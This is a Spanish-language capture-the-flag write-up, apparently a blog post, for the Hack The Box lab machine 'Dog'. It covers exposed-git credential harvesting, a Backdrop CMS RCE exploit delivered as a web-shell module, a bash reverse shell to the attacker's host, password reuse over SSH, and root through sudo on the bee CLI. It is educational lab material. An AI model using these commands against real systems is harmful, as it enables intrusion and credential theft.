# Dog WriteUp

Se hace un escaneo de `nmap` para reconocer el entorno con los parámetros:

* `-sV` Para identificar las versiones de los servicios expuestos.
    
* `-Pn` Para omitir el ping a los hosts (asumiendo que están activos).
    
* `-sC` Para utilizar los scripts por defecto de `nmap`.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756256115888/8c1a5683-ea57-4faa-ade1-185baef1e5f1.png align="center")

A simple vista podemos observar que es un blog de perros, identificando también 2 usuarios, `dobBlackDropSystem` y `Anonymous`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756256224544/c7439081-7340-4618-a2a5-1cf36c8b0d32.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756256232980/76313d26-76a5-430a-8231-604e4bab2c65.png align="center")

Basándonos en los resultados de `nmap`, sabemos que hay un `/robots.txt` el cual al revisarlo tiene diferentes directorios deshabilitados

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756256248657/baf65277-caed-43a3-9964-739f0addbbcd.png align="center")

Entre esos directorios, encontramos algunos interesantes como `/core` y `/git`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756256293447/d8575606-6b65-4a5a-aaec-be6470ae0edd.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261400394/d474acf4-f43c-421e-af2d-11013a19cd48.png align="center")

Como encontramos que el endpoint `/git` contiene información sensible, procedemos a clonarlo en nuestra maquina utilizando la herramienta [git-dumper](https://github.com/arthaud/git-dumper):

`$ git-dumper https://10.10.11.58/.git/ ./dog_git_repo`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261412853/e012d02f-80fa-4593-bad0-3a19e57eb3d3.png align="center")

Dentro del repositorio, encontramos varios archivos del sitio, entre los cuales se encuentran archivos de información que podrían llegar a obtener información sensible

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261455857/5f4239c9-6f89-45be-8598-5f04badf5500.png align="center")

Utilizamos grep para buscar si hay algún tipo de correo o credenciales que pertenezcan al dominio dog.htb:

`$ grep -r “@dog.htb”`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261437078/35109bc1-cd86-4416-ba0c-417e2a0570f2.png align="center")

Obtenemos varios resultados del usuario `tiffany@dog.htb`

Revisamos uno de los archivos de configuración, y vemos que el sitio funciona bajo un CMS llamado backdrop, el cual, si revisamos el archivo `update.settings.json` muestra que hay una actualización que soluciona un problema la cual no fue implementada.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261472773/93c9654a-4ec8-400f-95a4-dc8b4c27c6d1.png align="center")

Si revisamos el archivo `settings.php` podremos ver que hay credenciales de acceso a la base de datos MySQL del sitio

`$ head settings.php -n 20`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261506403/9b2b4f7b-9b7d-48d7-ac3d-93740526f7c4.png align="left")

`$database = ‘mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop’;`

Como las credenciales anteriores solo funcionan de manera local, probamos loggearnos en el panel de admin con el usuario `tiffany` y la clave previamente obtenida `BackDropJ2024DS2024`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261518137/97969d77-6eea-4fce-b322-2b952593ce13.png align="left")

Buscamos un exploit para el CMS backdrop con searchsploit

`$ searchsploit backdrop`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261527668/6a03deef-0d40-4c08-8817-d4eb1864bdf4.png align="left")

Encontramos un exploit que permite ejecución remota de comandos (RCE) por lo cual, lo descargamos:

`$ searchsploit -m 52021`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261536949/905920af-7a04-463f-96d0-d3fadcc43afd.png align="left")

Tras ejecutarlo, vemos que se genera un archivo malicioso con la shell inversa:

`$ python 52021.py 10.10.11.58`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261549275/72bbce85-0d57-4923-bafa-f598aeba34dc.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261559355/1b94a797-cd06-49c3-9677-d53c30ee1256.png align="left")

Subimos el archivo que contiene nuestra shell al panel de administración como un modulo malicioso

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261569681/0ab9900c-caa7-4a19-b441-a274623c82a6.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261587494/9271d8a5-431b-4e2d-908b-e6e263501382.png align="left")

Una vez instalado, procedemos a ejecutar el comando whoami en nuestra shell y vemos que tenemos acceso como `www-data`:

`http://10.10.11.58/modules/shell/shell.php?cmd=whoami`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261597246/7939ffe4-5609-4ab5-9adc-25f2554f9364.png align="left")

Tras confirmar que tenemos una shell funcionando en el sitio, procedemos a realizar una conexión inversa mediante un listener de netcat en nuestra maquina atacante, poniendo a la escucha el puerto 4444:

`$ nc -nvlp 4444`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261607461/e5f2c627-ed4c-4bb3-9e20-87f8ed1796e5.png align="left")

[Reverse Shell Cheat Sheet - Internal All The Things](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#bash-tcp)

Ejecutamos el código que nos generara la conexión inversa:

`bash -c 'bash -i>&/dev/tcp/10.10.14.161/4444 0>&1'`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261618197/92608fc6-4d8f-4432-8a6e-00b3d2ce419e.png align="left")

Si el comando se ejecuto correctamente, deberíamos obtener la conexión inversa en nuestro listener de netcat como el usuario `www-data`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261661208/e7358b63-5076-4c94-845c-aefdc0052d3a.png align="left")

Iniciamos sesión en la base de datos MySQL con las credenciales obtenidas de los archivos de configuración y listamos los usuarios dentro de la base de datos backdrop:

`$ mysql -uroot -p Enter password: BackDropJ2024DS2024`  
`use backdrop; select * from users;`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261669066/64a3e229-19c0-488d-93a7-e92100427d9d.png align="left")

Como podemos observar, obtenemos multiples usuarios, y dentro de /home hay 2 usuarios llamados `jobert` y `johncusack`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261678004/b04641a8-3b32-4b0d-99bc-5b1b221e9db0.png align="left")

Probamos la misma contraseña que usamos para acceder a la base de datos para conectarnos por ssh como el usuario `johncusack` obteniendo así acceso como usuario:

`$ ssh johncusack@10.10.11.58 > BackDropJ2024DS2024`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261687584/b3a9525b-327d-4b79-b553-534060f00689.png align="left")

Obtenemos la flag de usuario

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261697370/a67e6432-3d6e-4fcc-8a07-bebdcda87538.png align="left")

Verificamos que podemos ejecutar con permisos de superusuario con el comando:

`$ sudo -l`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261715012/d3794b03-6b4d-4e0e-9cd0-4110f1c6bb2d.png align="left")

Como pudimos observar, podemos ejecutar con permisos de super usuario `/usr/local/bin/bee`

[backdrop-contrib/bee: :bee: Bee is a command line utility for Backdrop CMS. It includes commands that allow developers to interact with Backdrop sites.](https://github.com/backdrop-contrib/bee)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261722781/a385ee4b-511e-4909-87f0-b882cb01c6fc.png align="left")

Aprovechamos la herramienta bee (CLI de Backdrop CMS) para ejecutar comandos arbitrarios como root y obtener una shell privilegiada:

`$ sudo /usr/local/bin/bee ev ‘system(“/bin/bash”);’`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261732287/30ce7837-d7a7-4d75-ae38-d06facf3acb4.png align="left")

Obtenemos la flag de root

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1756261742762/5ce09ad9-4c59-499e-bd83-417674cdf82d.png align="left")

![Nano](https://www.hackthebox.eu/badge/image/54373 align="left")
